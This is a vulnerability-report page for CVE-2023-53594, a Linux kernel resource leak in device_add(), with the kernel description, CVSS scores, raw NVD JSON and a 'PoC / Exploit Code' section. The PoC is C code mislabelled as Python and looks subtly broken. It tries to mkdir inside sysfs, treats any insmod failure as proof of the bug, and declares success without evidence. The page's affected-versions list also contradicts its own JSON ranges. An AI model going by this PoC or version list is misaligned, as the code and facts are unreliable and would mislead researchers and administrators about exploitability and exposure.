Security Vulnerability Report
中文
CVE-2023-53594 CVSS 5.5 MEDIUM

CVE-2023-53594

Published: 2025-10-04 16:15:56
Last Modified: 2026-03-21 00:52:58
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: driver core: fix resource leak in device_add() When calling kobject_add() failed in device_add(), it will call cleanup_glue_dir() to free resource. But in kobject_add(), dev->kobj.parent has been set to NULL. This will cause resource leak. The process is as follows: device_add() get_device_parent() class_dir_create_and_add() kobject_add() //kobject_get() ... dev->kobj.parent = kobj; ... kobject_add() //failed, but set dev->kobj.parent = NULL ... glue_dir = get_glue_dir(dev) //glue_dir = NULL, and goto //"Error" label ... cleanup_glue_dir() //becaues glue_dir is NULL, not call //kobject_put() The preceding problem may cause insmod mac80211_hwsim.ko to failed. sysfs: cannot create duplicate filename '/devices/virtual/mac80211_hwsim' Call Trace: <TASK> dump_stack_lvl+0x8e/0xd1 sysfs_warn_dup.cold+0x1c/0x29 sysfs_create_dir_ns+0x224/0x280 kobject_add_internal+0x2aa/0x880 kobject_add+0x135/0x1a0 get_device_parent+0x3d7/0x590 device_add+0x2aa/0x1cb0 device_create_groups_vargs+0x1eb/0x260 device_create+0xdc/0x110 mac80211_hwsim_new_radio+0x31e/0x4790 [mac80211_hwsim] init_mac80211_hwsim+0x48d/0x1000 [mac80211_hwsim] do_one_initcall+0x10f/0x630 do_init_module+0x19f/0x5e0 load_module+0x64b7/0x6eb0 __do_sys_finit_module+0x140/0x200 do_syscall_64+0x35/0x80 entry_SYSCALL_64_after_hwframe+0x46/0xb0 </TASK> kobject_add_internal failed for mac80211_hwsim with -EEXIST, don't try to register things with the same name in the same directory.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.6
Linux Kernel 6.6.x (修复前版本)
Linux Kernel 6.1.x (LTS修复前版本)
Linux Kernel 5.15.x (LTS修复前版本)
Linux Kernel 5.10.x (LTS修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2023-53594 - Linux kernel driver core resource leak // This PoC demonstrates how to trigger the resource leak by loading // mac80211_hwsim.ko module when a duplicate sysfs entry already exists. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> /* * Step 1: First, create a duplicate sysfs entry to simulate the conflict * This creates the condition where kobject_add() will fail with -EEXIST */ int create_duplicate_sysfs_entry() { // Create the sysfs path that will conflict with mac80211_hwsim const char *conflict_path = "/sys/devices/virtual/mac80211_hwsim"; // Attempt to create directory (requires root) if (mkdir(conflict_path, 0755) != 0) { perror("mkdir"); return -1; } printf("Created conflicting sysfs entry at: %s\n", conflict_path); return 0; } /* * Step 2: Trigger the vulnerability by attempting to load mac80211_hwsim * This will cause kobject_add() to fail with -EEXIST, triggering the * resource leak in device_add() */ int trigger_vulnerability() { printf("Attempting to load mac80211_hwsim.ko module...\n"); // Use insmod to load the module - this will trigger device_add() // and cause the kobject_add() failure path int ret = system("insmod /lib/modules/$(uname -r)/kernel/drivers/net/wireless/mac80211_hwsim.ko"); if (ret != 0) { printf("Module load failed as expected (triggering the vulnerability)\n"); printf("Check dmesg for: 'sysfs: cannot create duplicate filename'\n"); printf("Check dmesg for: 'kobject_add_internal failed for mac80211_hwsim'\n"); return 0; } return -1; } /* * Step 3: Verify the resource leak by checking kernel logs */ void verify_leak() { printf("\nChecking kernel logs for evidence of the vulnerability:\n"); system("dmesg | grep -A 20 'cannot create duplicate filename' | head -30"); // Check for leaked kobject references printf("\nChecking sysfs for leaked entries:\n"); system("ls -la /sys/devices/virtual/ | grep mac80211"); } int main(int argc, char *argv[]) { printf("=== CVE-2023-53594 PoC ===\n"); printf("Linux Kernel driver core resource leak in device_add()\n\n"); if (getuid() != 0) { printf("This PoC requires root privileges.\n"); printf("Please run as root or with sudo.\n"); return 1; } // Create the conflicting sysfs entry first if (create_duplicate_sysfs_entry() != 0) { printf("Failed to create conflicting entry.\n"); printf("The module may already be loaded or entry may exist.\n"); } // Trigger the vulnerability trigger_vulnerability(); // Verify and show evidence verify_leak(); printf("\n=== PoC completed ===\n"); printf("The resource leak has been triggered.\n"); printf("Reference counts for the parent kobject were not properly released.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53594", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:55.910", "lastModified": "2026-03-21T00:52:58.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndriver core: fix resource leak in device_add()\n\nWhen calling kobject_add() failed in device_add(), it will call\ncleanup_glue_dir() to free resource. But in kobject_add(),\ndev->kobj.parent has been set to NULL. This will cause resource leak.\n\nThe process is as follows:\ndevice_add()\n\tget_device_parent()\n\t\tclass_dir_create_and_add()\n\t\t\tkobject_add()\t\t//kobject_get()\n\t...\n\tdev->kobj.parent = kobj;\n\t...\n\tkobject_add()\t\t//failed, but set dev->kobj.parent = NULL\n\t...\n\tglue_dir = get_glue_dir(dev)\t//glue_dir = NULL, and goto\n\t\t\t\t\t//\"Error\" label\n\t...\n\tcleanup_glue_dir()\t//becaues glue_dir is NULL, not call\n\t\t\t\t//kobject_put()\n\nThe preceding problem may cause insmod mac80211_hwsim.ko to failed.\nsysfs: cannot create duplicate filename '/devices/virtual/mac80211_hwsim'\nCall Trace:\n<TASK>\ndump_stack_lvl+0x8e/0xd1\nsysfs_warn_dup.cold+0x1c/0x29\nsysfs_create_dir_ns+0x224/0x280\nkobject_add_internal+0x2aa/0x880\nkobject_add+0x135/0x1a0\nget_device_parent+0x3d7/0x590\ndevice_add+0x2aa/0x1cb0\ndevice_create_groups_vargs+0x1eb/0x260\ndevice_create+0xdc/0x110\nmac80211_hwsim_new_radio+0x31e/0x4790 [mac80211_hwsim]\ninit_mac80211_hwsim+0x48d/0x1000 [mac80211_hwsim]\ndo_one_initcall+0x10f/0x630\ndo_init_module+0x19f/0x5e0\nload_module+0x64b7/0x6eb0\n__do_sys_finit_module+0x140/0x200\ndo_syscall_64+0x35/0x80\nentry_SYSCALL_64_after_hwframe+0x46/0xb0\n</TASK>\nkobject_add_internal failed for mac80211_hwsim with -EEXIST, don't try to\nregister things with the same name in the same directory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10.105", "versionEndExcluding": "3.11", "matchCriteriaId": "792F73BB-0DCC-4F03-BB70-4765BD89E638"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.12.70", "versionEndExcluding": "3.13", "matchCriteriaId": "432FA61C-A882-4DDE-9002-456C1D68B8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.40", "versionEndExcluding": "4.5", "matchCriteriaId": "D0CD5855-59A4-434F-8866-C0AC310B1C1E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8.16", "versionEndExcluding": "5.15.99", "matchCriteriaId": "B6796668-E301-4DD8-B1E6-C8D2956579B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.16", "matchCriteriaId": "0FD95FDA-6525-4B13-B3FB-49D9995FD8ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.3", "matchCriteriaId": "88C67289-22AD-4CA9-B202-5F5A80E5BA4B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6977b1a5d67097eaa4d02b0c126c04cc6e8917c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8d389e363075c2e1deb84a560686ea92123e4b8b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d1dbff10c6cd3b43457f3efd3c9c4950009635bf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f39d21154db87545d8f0b25d13c326f37cc32239", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}